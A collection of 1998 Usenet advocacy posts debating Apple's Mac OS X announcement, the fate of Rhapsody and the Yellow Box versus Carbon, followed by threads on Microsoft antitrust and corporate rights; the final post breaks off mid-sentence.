>http://www.zdnet.com/macweek/mw_1219/nw_wwdcjobs.html
>
>Apple announced today that its OS future is a revised MacOS "merged" with
>a Rhapsody core, but the telling feature is that it largely retains (and
>Apple is stressing) API compatibility with the current MacOS. So Apple is
>effectively telling developers, "Screw Rhapsody." Ought to make the
>NeXTies happy, right?
>
>Apple also announced that this new OS will only run on G3 machines. That
>screws just about everybody else. Of course, by the time they actually
>ship the thing, given the usual delays (12 months for Rhapsody), maybe
>this is okay. But this *really* ought to upset the people who are already
>upset about the likelihood of not being able to run Rhapsody on their
>first generation PMacs. What if they bought an 8600 so they could run
>Rhapsody? Now Steve tells them they have to buy *another* Mac.
>Ridiculous.
>
>Way to go, Apple. If Apple can actually pull this off, I probably won't
>care, but if this goes the way of Copland and Rhapsody, Apple's in big
>trouble, and each time they do this they lose more customers (at some
>point they're not going to have any left). This is just one more
>90-degree course change in OS strategy, and is an excuse for another
>year's delay in delivering a real OS. (Rhapsody was the excuse we got
>after Copland. Now "MacOS X" is the excuse we're getting after Rhapsody.)
>
>For those who say, "But Rhapsody will still ship!," I ask, where is
>Apple's modern mainstream OS? It sounds to me like Apple isn't going to
>encourage Rhapsody development. Instead, they're making users wait
>*another* year for *another* promised modern OS. Somebody at Apple has to
>stop these ridiculous course changes. They have to SHIP SOMETHING! They
>can't keep promising better and better stuff but never ship any of it.
>
>[I concede the point that Rhapsody would likely have fewer native apps in
>1999 that MacOS X will have *IF* MacOS X actually meets its 1999 shipping
>date. I am still very skeptical. Rhapsody + BlueBox should be a fair
>solution until MacOS X ships... I hope...]
>
>Big unanswered question from today: what happens to Rhapsody and the
>Yellow Box? Will Apple have an OS with simple cross-compilation for PPC
>and x86, and will that be MacOS X or Rhapsody? Or both or neither?
>
>BTW, kudos to George for being *almost* as correct on Rhapsody as he was
>with Copland. Sigh.
---------------------------------------------
Tom Elam
The universe is not only stranger than we imagine,
it is stranger than we CAN imagine.
Family homepage:
http://members.iquest.net/~telam/homepage.html
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 11 May 1998 18:32:07 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1105981832070001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
In article <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>,
pulsar@springnet1.com (Pulsar) wrote:
> You're overreacting! There are still things that are unclear! Making
> definitive judgements based on this evidence is only going to get you
> angry.
I admit that the thread title is overdone. Part of my motivation there
was to steal the thunder of the Wintellians before we have identical
threads started by Elam, Hughes, McNorton and friends. It probably won't
work.
> Rhapsody 1.0 is due for release in Q3 '98. That implies later this summer
> or early fall. This was in the speech.
I know. But what are Apple's plans for Rhapsody? We were supposed to
learn Apple's OS strategy at WWDC, and there is precious little about
Rhapsody. All I'm hearing is "we'll ship version 1.0." Fine; what comes
after that? If Apple revealed its OS strategy today, then I can only
conclude that Apple has *no* strategy for Rhapsody.
I will probably buy Rhapsody 1.0 and be quite happy with it. My concern
is that Apple is still a long way away from shipping a mainstream modern
OS. MacOS 8.x is Apple's mainstream OS until late 1999 at the earliest.
We were *supposed* to have Rhapsody as Apple's new mainstream OS as of
last January. We were *supposed* to have Copland before that. Well, at
least it looks like Rhapsody will ship, even if it will be downplayed.
> > Apple also announced that this new OS will only run on G3 machines.
>
> That's what macweek says. Apple's press release says that it "will be fully
> optimized for Apple's PowerPC G3 based computers." That does not preclude
> support for all other PowerMacs.
Who do you trust? It's probably going to be the same as for Rhapsody; the
official line will be, "We promise it will run on G3s but
maybe--MAYBE--we'll support older machines too." (Yeah, right...)
> Rhapsody is supposed to ship Q3 '98 according to the keynote address.
> Rhapsody will ship! The Yellow Box will be present in Mac OS X too!
I know that Rhapsody will ship! My objection is that Apple's mainstream
OS for the average Mac user is not shipping until 1999! The average Mac
user wants Apple to ship an OS that doesn't crash and an OS with better
performance (particularly the former). Apple is now specifically stating
that Rhapsody is not that OS.
> Mac OS X just provides a way for developers of Mac OS software not to have
> to entirely rewrite their programs to get PM/PMT/VM/etc. For those writing
> new programs and for those who are going to rewrite their programs anyway,
> the Yellow Box will be the best solution.
In other words, you can count out all of today's major software
publishers? I see Adobe happily demoing Photoshop on Carbon. But they
aren't porting to Rhapsody (no demos there), nor is Apple giving them a
reason to do so.
> Mac OS X is just a merging of all the
> technologies. It is not an utter replacement.
I know that, but it is *another significant delay* in delivering what
Apple's customers have been anticipating for far too long.
> > BTW, kudos to George for being *almost* as correct on Rhapsody as he was
> > with Copland. Sigh.
>
> Let's not be too hasty there. Things may in fact be bad. Perhaps Apple will
> drop the Yellow Box and Rhapsody and all that, but you can't conclude that
> just based on today's news.
I can conclude that Rhapsody is not Apple's modern new OS for the average
Mac user, and that such an OS won't exist until at least the year 2,000
(certainly OS X will be delayed at least three or four months). George
noted that Apple was shying away from Rhapsody, and he was right: today
Steve reminds us that MacOS is the "crown jewels" of Apple, and Rhapsody
is, more or less, an afterthought.
The yellow box and cross-compilation are great, but not if everybody
writes to nonportable Carbon APIs instead. [An x86 blue box would sure be
nice, but there is no indication that this will happen.]
It's looking more and more like Apple didn't get much useful stuff out of
the NeXT purchase than Mr. Jobs. They're paying little attention to the
OS they paid for with $400 million. I'm certainly paying attention to it,
but I wish Apple would too.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X
Date: 11 May 1998 22:35:43 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6lev9v.4k9.sal@panix3.panix.com>
References: <6j7roi$m57$1@nnrp1.dejanews.com>
On Mon, 11 May 1998 21:49:06 GMT, spagiola@usa.net <spagiola@usa.net> wrote:
>MacOS X). The best I can figure is that MacOS X will essentially be Rhapsody
>CR2, but with Carbon replacing the previously planned "Blue Box" environment
>to maintain compatibility with Legacy Mac apps. Is this about right, or am I
>off base?
Based on the article that Scott Anguish wrote for http://www.stepwise.com/
and the link to Apple's PR release also on the stepwise site, I think you
are correct. MacOS-X is Rhapsody renamed to "MacOS" with a bunch of new libs
to provide better a better BlueBox. Also, Apple is giving its ISVs a full
year to move up to the new MacOS API (carbon) to make sure that all those
Apps show up for Rhapsody.
Rhapsody CR1:BlueBox.App::Rhapsody CR2:BlueBox.Framework.
If Steve just came out and said that he could have saved up all a couple
of grey hairs...
What I want to know:
1) Will Carbon Apps have access to Rhapsody "cool stuff" like services?
2) How are Carbon and YellowBox related? Will Carbon be the MacOS API
written in the YB API? Will Carbon Apps port to Windows?
3) Will Apple be providing IB+PB tools for Carbon development? Or will
they leave that up to MetroWorks
4) Will MacOS X still ship with Terminal.App and unix CLI stuff? Or will
they be in a /goodies/ directory? Or will they be part of the dev tools
package?
5) Will MacOS X run on Intel machines? Will Carbon Apps run on MacOS X on
Intel machines?
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 12 May 1998 01:25:44 GMT
Organization: I don't think so
Message-ID: <slrn6lf9fe.1lm.jason@jhste1.dyn.ml.org>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <MPG.fc15adad12883c99896a7@news.supernews.com>
Donald Brown wrote:
>Yes, they buy some, but those who are happy as a clam
>running System 6 on an LC III are happy as a clam with the software they
>have.
Hey - let's nitpick! System 6 on an LCIII?
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Yellowbox programming, and ragosta
Date: 12 May 1998 01:17:52 GMT
Organization: P & L Systems
Message-ID: <6j8800$1cc$6@ironhorse.plsys.co.uk>
References: <6j2qnb$r2p$2@newsfep1.sprintmail.com> <6j487r$ibo$1@bignews.shef.ac.uk>
<6j4pk5$jkq$2@newsfep3.sprintmail.com>
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Cc: macghod@concentric.net
In <6j4pk5$jkq$2@newsfep3.sprintmail.com> macghod@concentric.net wrote:
> In <6j487r$ibo$1@bignews.shef.ac.uk> mmalcolm crawford wrote:
>
> Yes, and I apologize.
>
On behalf of all of us, I'm sure, thank you for this.
> > I am quite sure that you have some sort of installation problem. Did you
>
> Yes, you are right, as usual.
>
Well, I'm afraid I'll have to correct you on that too :-)
I do sometimes get things badly wrong, not least very recently in my
expectations of how things would be announced at WWDC. I hope I'll always
have the good grace to admit my errors in future too, though.
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 12 May 1998 01:14:24 GMT
Organization: P & L Systems
Message-ID: <6j87pg$1cc$5@ironhorse.plsys.co.uk>
References: <B17C8D50-7E886@206.165.43.134> <35579A61.7506F33D@spam.someone.else.blarg.net>
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Cc: davek@spam.someone.else.blarg.net
In <35579A61.7506F33D@spam.someone.else.blarg.net> Dave Koran wrote:
> Thought you might be interested in reading this
> amusing and highly prophetic April Fool's Day Joke
> (or so I thought) from *last* year:
>
> "Apple Announces Cross-Platform Strategy for "MacOS X""
> <http://alumni.caltech.edu/~ernest/970401.pr.rel.osx.html>
>
> Authored by Ernest N. Prabhakar, email: ernest@alumni.caltech.edu
>
Ernie really is Product Marketing Manager for Rhapsody...
Splendid fellow that he is, I probably owe him another box of chocolates...
Best wishes,
mmalc.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 11 May 1998 15:41:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B17CCC79-3D130@206.165.43.153>
References: <pulsar-ya02408000R1105981551070001@news-proxy.cso.uiuc.edu>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
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Pulsar <pulsar@springnet1.com> said:
>Having said all that, there will be the Blue Box to run old applications
in
>Mac OS X. These won't take advantage of PMT/PM/VM, but they will run.
I missed the part about the BLue Box in MacOS X. When was this announced?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Software licenses
Date: Tue, 12 May 1998 01:23:14 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3557A482.EF67C60A@nstar.net>
References: <6j7n0h$6fq@newsb.netnews.att.com>
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gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
>
> While we argue about Microsoft and free market nonsense,
> our freedom is being taken from us.
[cut]
I haven't the first clue what the posted material has to with freedom at
all, except perhaps the possibility that in the future, software
developers will have the freedom to create licenses to protect their
hard work as they wish.
MJP
From: Mike Pinkerton <pinkerton@netscape.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 11 May 1998 18:28:12 -0700
Organization: Netscape Communications
Message-ID: <3557A58F.41815B27@netscape.com>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com> <rex-1105981539090001@192.168.0.3> <355747DE.B4BF976B@milestonerdl.com> <ufemy0gz3l.fsf@ftp.ardi.com>
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Clifford T. Matthews wrote:
>
> >>>>> "Mark" == M Rassbach <mark@milestonerdl.com> writes:
>
> Mark> And, if YellowBox is to be de-emphized, and later scrapped,
> Mark> developers don't have an easy migration path OFF of Apple
> Mark> hardware...like yellowbox can now offer.
>
> Ding.
So they port carbon to other platforms....did it once already (star trek), why
is that so bad? Now we have an api everyone already knows (carbon) and it's on
multiple platforms. Why yellowbox now?
Ding?
--
Mike Pinkerton
Mac Browser Weenie
pinkerton@netscape.com http://people.netscape.com/pinkerton
From: nhughes@sunflower.com (Nathan Hughes)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 11 May 1998 01:30:54 GMT
Organization: is a sign of a sick mind.
Message-ID: <355752ce.469474@198.0.0.100>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <stevenj-ya02408000R1105982034070001@news.mit.edu>
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On or about Mon, 11 May 1998 20:34:07 -0400, in comp.sys.mac.advocacy
stevenj@alum.mit.edu (Steven G. Johnson) exclaimed :
>In article <35593b48.6388203@198.0.0.100>,
>>[ ... "Mac mantras" 1996-1998 ... ]
>>
>>Seriously though, has anyone here noticed that apple seems to announce
>>a "revolutionary" new OS about every 18 months? there is a word for
>>that... Vapor.
>
>Sigh...how long are people going to complain about Copland?
Who's complaining? I wouldn't count on or expect anything from
apple so I have nothing to complain about. I just think it is pretty
comical watching you guys pledge a new allegiance every 18 moths or
so.
> Rhapsody IS
>GOING TO SHIP.
I used to listen to mac users say copland was going to ship. I even
heard one or two say Exponential was going to ship. I'm just hearing
another mac user now, lots of words which mean very little..
Besides that, wasn't Rhapsody supposed to ship this spring? That was
the apple line last year.
> MacOS X is just the next step after that, which will bring
>all of the existing MacOS developers on board. This is not a
>bait-and-switch--it is continuing and supporting what Rhapsody is starting.
Mac owners have been bait_N_switched at least since copland. OS7.7,
errr, 8 anyone?
Nathan A. Hughes
MFA Candidate
The University Theatre KU
http://scenedesign.home.ml.org
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: 12 May 1998 01:36:42 GMT
Message-ID: <6j893a$g46$1@newsfep4.sprintmail.com>
References: <6j829e$9j3$1@newsfep4.sprintmail.com> <1d8w9sp.1qqgx4p6r334gN@rhrz-isdn3-p44.rhrz.uni-bonn.de>
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Cc: schuerig@acm.org
In <1d8w9sp.1qqgx4p6r334gN@rhrz-isdn3-p44.rhrz.uni-bonn.de> Michael Schuerig
wrote:
> <macghod@concentric.net> wrote:
>
> > Anyone notice that macos X will include quickdraw? Isnt this Lawson's
love
> > and joy?
>
> No. QD GX is/was.
>
> Your posting was meant to be a troll, right?
No, how is it a troll? I see no possible way how it could be a troll against
apple. Will Qd gx be a part of macos X?
--
Running on Openstep 4.2, the best os in the world, and about to get better!
Mac/openstep qa work desired, email me for resume
NeXTMail and MIME OK!
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 11 May 1998 18:10:11 -0600
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1105981810110001@news-proxy.cso.uiuc.edu>
References: <pulsar-ya02408000R1105981551070001@news-proxy.cso.uiuc.edu> <B17CCC79-3D130@206.165.43.153>
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In article <B17CCC79-3D130@206.165.43.153>, "Lawson English"
<english@primenet.com> wrote:
> Pulsar <pulsar@springnet1.com> said:
>
> >Having said all that, there will be the Blue Box to run old applications
> >in Mac OS X. These won't take advantage of PMT/PM/VM, but they will run.
>
> I missed the part about the BLue Box in MacOS X. When was this announced?
I should have been more clear. This is just what I've gathered from
accounts of the speech. Those that mentioned anything about old Mac OS apps
mentioned that old Mac OS apps will run on Mac OS X, but not take advantage
of PMT/PM/VM and such. I take this to mean that there will be a Blue Box
for Mac OS X. Since both the Yellow Box and the Carbon APIs are 100% PPC
native (from what Steve said), support for older applications must come
from something else (I assume). Since they already have the Blue Box
written, it doesn't take a tremendous leap to assume that the Blue Box will
ship in some form with Mac OS X. I don't know that it will be exactly the
same as Rhapsody's Blue Box though. I don't know exactly what form it will
take.
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.ews.uiuc.edu/~tokarek>
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 11 May 1998 19:47:38 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35579C29.18E6BF06@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100>
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Nathan Hughes wrote:
> Mac mantra 1996:
> When copland comes out its gonna be way better than NT
> Mac mantra 1997:
> When Rhapsody comes out, its gonna kick NTs butt.
> Mac mantra 1998:
> Macos10 comes out, NT's going down.
> Ok, boys you know the new words... start chanting.
Oh! Oh! you forgot the mantra that Power PC will be 100% faster than the
comparable Intel. And, after ALL this time, 'visable proof'.
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Rhapsody and games
Date: 12 May 1998 01:57:06 GMT
Message-ID: <6j8a9i$g46$3@newsfep4.sprintmail.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<ericb-1105981832070001@132.236.171.104> <6j82vd$1cc$1@ironhorse.plsys.co.uk>
<see-below-1105981809120001@209.24.240.244>
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Cc: see-below@not-my-address.com
In <see-below-1105981809120001@209.24.240.244> Matthew Vaughan wrote:
> > The people to blame are the Mac developers, and the Big Brand names in
> > particular, who didn't stand up and embrace Rhapsody.
>
> I disagree. Apple has yet to give them a compelling reason to do so.
I was browsing through omniweb's page, and looking through the rhap talk
postings, and saw a message from a apple employee saying (I hope I got this
exactly right) dont expect Rhapsody to be a consumer gaming platform. (after
I wrote this I decided to take the time to get the quote, here it is:)
my comment was taken out of context. There is/much discussion on my Mac
Games Dev programming list about John Carmack/Quake/Rhapsody.
My comment was intended to stop discussion of Rhapsody as a games capable
consumer OS - which as I understand it, will never come to pass.
Sorry if I was misunderstood.
Cheers,
Mark
PS: I'm a big DISCO fan...
Digital Audio/Games/MIDI Evangelist
Worldwide Developer Relations
Apple Computer, Inc. * gavini@apple.com
--
Running on Openstep 4.2, the best os in the world, and about to get better!
Mac/openstep qa work desired, email me for resume
NeXTMail and MIME OK!
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: 11 May 1998 19:02:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B17CFBA1-1141D@206.165.43.26>
References: <6j829e$9j3$1@newsfep4.sprintmail.com>
nntp://news.primenet.com/comp.sys.next.advocacy
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macghod@concentric.net said:
>Anyone notice that macos X will include quickdraw? Isnt this Lawson's
>love
>and joy?
In fact, no. QuickDraw *GX* is my "love and joy." It was designed to
supplant QuickDraw and challenge PostScript but Display PostScript may or
may not have supplanted it (depending on how well the Yellow Box APIs do in
MacOS X).
In case anyone is interested, I would far, FAR prefer to see DPS (with some
kind of YB framework veneer) used in MacOS X to seeing the venerable
(decrepid) QuickDraw continue for another 5 years as the graphics engine of
choice on the Mac.
Make no mistake about it, this MacOS X move is a desperation ploy on the
part of Apple. It may make some short-sighted developers and end-users
happy, and placate Adobe, Macrosoft and Microsoft, but the fact that it is
necessary speaks volumes about the political scene at Apple.
It is a freaking disaster as far as getting next-generation applications
for MacOS. The Yellow Box was supposed to be the Great White Hope and now
it is virtually nowhere to be found in the eyes of most developers and
end-users.
ICKYICKYICKYICKY...
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Mon, 11 May 1998 19:37:28 -0500
Organization: Prairie Group
Message-ID: <MPG.fc155c57791d10b9896a5@news.supernews.com>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com> <MPG.fbe216587510224989691@news.supernews.com> <8C251.531$sy4.1591596@news.rdc1.sdca.home.com> <MPG.fbe7482b277f658989694@news.supernews.com> <2rs51.1084$sy4.1591596@news.rdc1.sdca.home.com> <MPG.fc037b16e250e8598969e@news.supernews.com> <OzK51.1301$sy4.2902885@news.rdc1.sdca.home.com>
In article <OzK51.1301$sy4.2902885@news.rdc1.sdca.home.com>,
rriley@yahoo.com says...
> In <MPG.fc037b16e250e8598969e@news.supernews.com> Donald Brown wrote:
> > I can go against Bill Gates. He's got lots of bucks that'll make it
> > tough, but I can go against Bill Gates. If I go against Bill Clinton and
> > Janet Reno, they've got the guns.
> >
> >
>
> Images of STAC Electronics jump into my mind... sure, Big Guy :-)
Didn't STAC eventually win?
And, again--Gates can rip me off. Clinton and Reno can toss me in jail.
I'll go up against Gates, thank you very much.
> > > Onto your dream... nice, warm, rewarding and naive. Netscape learned all
> > > roads to success lead through Redmond. Sun has refused to go there and
> built
> > > there own road, Java. Apple built a better road but MS copied it. I'm
> sure
> > > you've engineered your road through Redmond or hope soon to be "in"
> Redmond
> > > (ie. bought/partnered).
> >
> > Nope. I intend to turn DOWN an offer from Bill at some point. I'll
> > remind him that I beat him a few years back when we were competing for
> > the Macintosh LAN Email market, and I'll beat him again.
> >
> > > I personally wish you all the luck in the world and hoped for audience for
> > > your hard work and brilliant engineering. Protocols are like money.
> Anyone
> > > can print their own money and issue it. You just have to find someone
> willing
> > > to accept it. Success in the protocol business requires standards
> acceptance
> > > and widespread availability. The first expensive and the later a trip
> through
> > > Redmond. Sun's Java Standard the poster child of what happens when MS is
> left
> > > out of the process. You will most likely be asked to sacrifice your
> financial
> > > interest in your protocol in exchange for an audience that will listen.
> >
> > I may be asked. I won't accept.
> >
>
> This isn't 1984 and the introduction of the Mac here. Most of the wired World
> is invested in MS technologies. Without a Mr. Bill plan and no collaboration
> in the public sector, you must have one hell of an invention. Say does your
> invention have anything to do with "Viagra"? :-)
Nope. Right now, my invention is a very simple Intranet instant
messaging program (http://www.prgrsoft.com, since you asked <grin>).
I've got other ideas in the pipeline too.
I'm not really planning on going against the MS technologies, because
I've got nothing better to offer. If I did, I would, but I don't. I've
got other good things to offer.
> > > A first born act of gifting your hard work into the public domain and
> standards
> > > body of the net.
> >
> > You mean, what you seem to want Microsoft to do with Windows?
> >
>
> What hard work on MS behalf? They didn't invent the browser, they bought one!
> What browser market? They bought that too (loss leader style). We are two
> steps away from all that wonderful content Bill Gates invested so heavily
> being IEx.x only accessible. That's what I mean. But you said Windows...
> changing goal posts? Yeah well, he didn't invent Windows, he copied that.
> But I'm less concerned with Windows than I am "re-packaging" Internet access
> as Windows.
Gates has incredible power...until he starts using it.
If he starts being hamhanded and force people to only use I.E., watch for
the browser explosion and the web sites written to use anything except
I.E. And, watch the D.o.J. march in again to deal with the laws he will
have broken for that (anti-trust). I'm just opposed to a preemptive
strike because he could break the law.
> > > So ultimately, you are willing to fight for one form of
> > > bureaucracy over another. The final effect of which is to allow MS have
> your
> > > protocol gratis and you'll COMPETE just like all the rest of us with our
> > > propellers hooked up to the "Big Grid" (ala WinXX). Enjoy your freedom!
> >
> > I will enjoy my freedom very much. Unless we wind up living under a
> > Ministry of Technology where all protocols must be approved by a so-
> > called independant group.
> >
> >
>
> I think we're pretty much there for any protocol's affecting global
> communications. Independent Software Vendors are free to cavort about using
> whatever protocols suit their fancy. It's only when ISV's want to hook-up to
> the mainstream that a Ministry of Technology wants to approve the process.
> Typically, they want ownership and control... otherwise, they resort to a
> hack they own.
That's what they can do now. There have been rumblings from the powers
that be that they want to pass judgement on all TCP traffic to make sure
it's up to snuff.
Donald
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: 12 May 1998 02:26:18 GMT
Organization: I don't think so
Message-ID: <slrn6lfd10.2id.jason@jhste1.dyn.ml.org>
References: <6j829e$9j3$1@newsfep4.sprintmail.com> <B17CFBA1-1141D@206.165.43.26>
Lawson English wrote:
>Make no mistake about it, this MacOS X move is a desperation ploy on the
>part of Apple. It may make some short-sighted developers and end-users
>happy, and placate Adobe, Macrosoft and Microsoft, but the fact that it is
>necessary speaks volumes about the political scene at Apple.
They'll flame you, but you're right, IMO.
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
From: tminkoff@cts.com (Tony Minkoff)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 11 May 1998 19:33:57 -0700
Organization: CTS Network Services
Message-ID: <tminkoff-1105981933580001@dt060nb6.san.rr.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <35579c6d.0@news.depaul.edu>
Cache-Post-Path: wagasa.cts.com!unknown@dt060nb6.san.rr.com
In article <35579c6d.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
> In comp.sys.next.advocacy Eric Bennett <ericb@pobox.com> wrote:
>
> > And if you believe some reports, there are now three APIs for OS X: System
> > 7, Carbon, and perhaps Yellow Box too. If we're really lucky, the new
> > "Carbon" APIs will be taken from YB, but I'm not sure if that's workable
> > given Apple's claims of easy porting to Carbon.
>
> You have absolutely no understanding of what Carbon is. Give it up.
Neither do I. How about explaining it? Such rude, terse replies help nobody.
--
Tony Minkoff
tminkoff@cts.com
anthony_minkoff@ccmail.mitchell.com
From: dpetticord@hotmail.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 12 May 1998 02:34:05 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6j8cet$fgg$1@nnrp1.dejanews.com>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <stone-ya02408000R0505980240210001@news.enetis.net> <6inoup$ejt$1@gte2.gte.net> <rmcassid-0505981303570001@dante.eng.uci.edu> <6ir7ua$14g$1@nnrp1.dejanews.com> <rmcassid-0705980005120001@dialin33419.slip.uci.edu> <6ivv73$38k$1@nnrp1.dejanews.com> <rmcassid-0905981831450001@dialin9013.slip.uci.edu> <6j4gep$l28$1@nnrp1.dejanews.com> <rmcassid-1105981238190001@dante.eng.uci.edu>
Bob,
It is amazing how well we agree on the fundementals, but our
coloring really, really clashes.
In article <rmcassid-1105981238190001@dante.eng.uci.edu>,
rmcassid@uci.edu (Robert Cassidy) wrote:
>
> In article <6j4gep$l28$1@nnrp1.dejanews.com>, dpetticord@hotmail.com wrote:
> >"Proven" allegations may reasonably be assumed to be true.
> >"Unproven" allegations may not.
>
> I wouldn't necessarily make that assumption for a corporate case.
> Considering that corporations often buy their way out of criminal cases
> and claim no wrongdoing, I think that there is a relatively low
> correlation between proven and true in the corporate world.
Point taken. Let's call it a draw. The truth remains elusive for
both sides of the argument.
<snip>
> >We have a solid point of contention here. It was my understanding that
> >corporations do have the same rights as individuals. For example,
> >corporations have the right to free speech because individuals do.
<snip>
> There is some considerable exceptioning taking place here, but essentially
> you are correct as I think a corporation is essentially a type of trust,
> but with a gazillion rules and exceptions attached.
>
Another draw. Coporations have rights, but handcuffs are included.
> >> In fact, the latter does not exist except in the minds of
> >> corporations.
> >
> >And in the minds of the courts?
>
> The same, depending on the way the winds are blowing. But generally I
> think the same. The courts seem to view corporations as being far more
> resiliant to change than individuals.
>
I think we could argue degrees here. Courts can't and won't rule against
corporations without legal justification. The courts recognize corporate
rights, otherwise the only argument needed would be "it is for the public
good".
You site the breast implant case. I agree, the "truth" is difficult to see
in that case, but the arguments used was "corporate fault" not "public need".
It is not sufficient to show a "public need" even in a Microsoft anti-trust
case. The DOJ needs to show corporate tort, in addition to a "public need".
> >> Corporations have few rights regarding success.
> >
> >Both individuals and corporations have no guarentees to "success".
>
> But MS sometimes act as though they do have that right. Their response to
> anti-trust seems to fall along the lines of 'but we have the right to our
> success'.
>
You can not deny Microsoft its success purely on the contention that it is
not in the public interest. The DOJ and the states need more than that.
> ><snipped good history lesson>
> >
> >> We don't want an MS monopoly here, but over there would be just fine,
> >> thank you. That's how I see it falling out. Nobody I know of really
> >> believes in the rights of a corporation.
> >>
> >Let's ask the legal system what it believes.
>
> Legal system could care less if MS has a monopoly in China. Ask *their*
> legal system.
Minor mixup. I was talking about "the rights of a corporation". I grant
you the multi-national aspects of this complicates things greatly. I
wouldn't begin to try and argue multi-national ethics with anyone.
<snip>
> >I do not know if you have read my previous posts. I have been arguing
> >FOR a DOJ generated anti-trust case. What I have been arguing against
